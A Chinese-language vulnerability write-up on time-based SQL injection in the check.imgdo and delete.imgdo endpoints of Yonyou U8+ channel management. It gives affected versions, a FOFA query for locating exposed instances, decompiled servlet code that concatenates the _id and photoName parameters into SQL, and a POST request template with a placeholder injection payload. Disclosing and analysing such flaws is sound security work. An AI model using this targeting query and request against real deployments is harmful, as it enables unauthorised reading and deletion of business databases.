漏洞简介
用友U8+是用友网络科技股份有限公司推出的企业管理综合平台,广泛应用于财务、进销存、人力资源等企业核心业务系统中。在U8+渠道管理(高级版)模块中,check.imgdo和 delete.imgdo 接口存在SQL注入漏洞。该漏洞是由于页面在处理用户输入的参数时,未对输入内容进行充分过滤与安全校验,攻击者可构造恶意SQL语句,通过HTTP请求注入至后端数据库查询中。
影响版本
V18, V16.5, V16.1, V16.0, V15.1, V15.0, V13
fofa语法
title="渠道管理(高级版)"
漏洞分析
check.imgdo
直接看 business/test/check.imgdo URL对应的servlet在web.xml中的映射
<!-- 查看图片 -->
<servlet>
<servlet-name>CheckPicture</servlet-name>
<servlet-class>com.gxfcsoft.framework.core.CheckPicture</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>CheckPicture</servlet-name>
<url-pattern>/business/test/check.imgdo</url-pattern>
</servlet-mapping>
<servlet>
跟进com.gxfcsoft.framework.core.CheckPicture 看下它的实现
package com.gxfcsoft.framework.core;
import com.alibaba.fastjson.JSONObject;
import com.gxfcsoft.framework.action.users.UserManager;
import com.gxfcsoft.framework.base.util.UserState;
import com.gxfcsoft.framework.dao.ResManager;
import com.gxfcsoft.framework.dao.common.CommonDictDao;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.dom4j.Element;
public class CheckPicture extends HttpServlet {
private static final long serialVersionUID = 7086934382711881762L;
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doGet(req, resp);
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
HttpSession session = req.getSession();
String sid = session.getId();
UserState us = UserManager.getUserBySessionId(sid);
Connection con = null;
PrintWriter pw = resp.getWriter();
try {
con = ResManager.getConnection();
String code = "";
String delphotoName = "";
BufferedReader br = new BufferedReader(new InputStreamReader(req.getInputStream(), "utf-8"));
String line = null;
StringBuilder sb = new StringBuilder();
while((line = br.readLine()) != null) {
sb.append(line);
}
String sdata = sb.toString();
String[] ss = sdata.split("&");
for(int i = 0; i < ss.length; ++i) {
String temp = ss[i];
String value = temp.substring(temp.indexOf("=") + 1);
if (temp != null && temp.indexOf("_id") != -1) {
code = value;
} else if (temp != null && temp.indexOf("photoName") != -1) {
delphotoName = value;
}
}
CommonDictDao cDao = new CommonDictDao(con, us);
String sql = "select id from arecord where code = '" + code + "'" + " and images like " + "'%" + delphotoName + "%'";
Element eles = cDao.findOne(sql);
String id = eles.attributeValue("id");
String subsql = "select images,latitude,longitude,wdirection,jdirection,shootdate from photoexif where code = '" + id + "' and images like " + "'%" + delphotoName + "%'";
Element ele = cDao.findOne(subsql);
将请求里的内容使用& 进行分割后,如果_id 存在则sql语句里的code的值就等于_id 参数的值;其次是如果存在photoName参数,那么sql语句里的delphotoName就等于参数photoName的值。而两个参数也没有经过任何过滤或校验就被直接拼接进SQL语句中,从而造成了SQL注入漏洞。
delete.imgdo
<!-- 删除图片 -->
<servlet>
<servlet-name>DeletePictureServlet</servlet-name>
<servlet-class>com.gxfcsoft.framework.core.DeletePictureServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DeletePictureServlet</servlet-name>
<url-pattern>/business/test/delete.imgdo</url-pattern>
</servlet-mapping>
跟进 com.gxfcsoft.framework.core.DeletePictureServlet 看下它的实现
package com.gxfcsoft.framework.core;
import com.gxfcsoft.framework.action.users.UserManager;
import com.gxfcsoft.framework.base.util.PathUtil;
import com.gxfcsoft.framework.base.util.UserState;
import com.gxfcsoft.framework.dao.ResManager;
import com.gxfcsoft.framework.dao.common.CommonDictDao;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.sql.Connection;
import java.sql.SQLException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.dom4j.Element;
public class DeletePictureServlet extends HttpServlet {
private static final long serialVersionUID = -57659135072396187L;
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
HttpSession session = req.getSession();
String sid = session.getId();
UserState us = UserManager.getUserBySessionId(sid);
Connection con = null;
String message = "0";
try {
con = ResManager.getConnection();
String sql = "";
String code = "";
String delphotoName = "";
BufferedReader br = new BufferedReader(new InputStreamReader(req.getInputStream(), "utf-8"));
String line = null;
StringBuilder sb = new StringBuilder();
while((line = br.readLine()) != null) {
sb.append(line);
}
String sdata = sb.toString();
String[] ss = sdata.split("&");
for(int i = 0; i < ss.length; ++i) {
String temp = ss[i];
String value = temp.substring(temp.indexOf("=") + 1);
if (temp != null && temp.indexOf("_id") != -1) {
code = value;
} else if (temp != null && temp.indexOf("photoName") != -1) {
delphotoName = value;
}
}
CommonDictDao cDao = new CommonDictDao(con, us);
sql = "select id ,images from arecord where code = '" + code + "'" + " and images like " + "'%" + delphotoName + "%'";
Element ele = cDao.findOne(sql);
String id = ele.attributeValue("id");
String images = ele.attributeValue("images");
String[] imagess = images.split(";");
String sql1 = "";
if (imagess.length == 1) {
sql1 = "delete arecord where id = '" + id + "'";
} else {
String data = images.replace(delphotoName + ";", "").replace(delphotoName, "");
if (data.lastIndexOf(";") + 1 == data.length()) {
data = data.substring(0, data.lastIndexOf(";"));
}
sql1 = "update arecord set images = '" + data + "'" + " where id = '" + id + "'";
}
cDao.update(sql1);
String subsql = "delete photoexif where code= '" + id + "' and images like '%" + delphotoName + "%'";
cDao.update(subsql);
造成sql注入漏洞的原因还是因为处理逻辑和上面的check.imgdo 一样的问题。
漏洞复现
check.imgdo
POST /business/test/check.imgdo HTTP/1.1
Host: u8.mrxn.net
Content-Type: application/x-www-form-urlencoded
_id='_SQLI_POC-- -

成功延时 5 秒
以及参数photoName,也是延时 5秒

delete.imgdo

也是同样的延时 5 秒







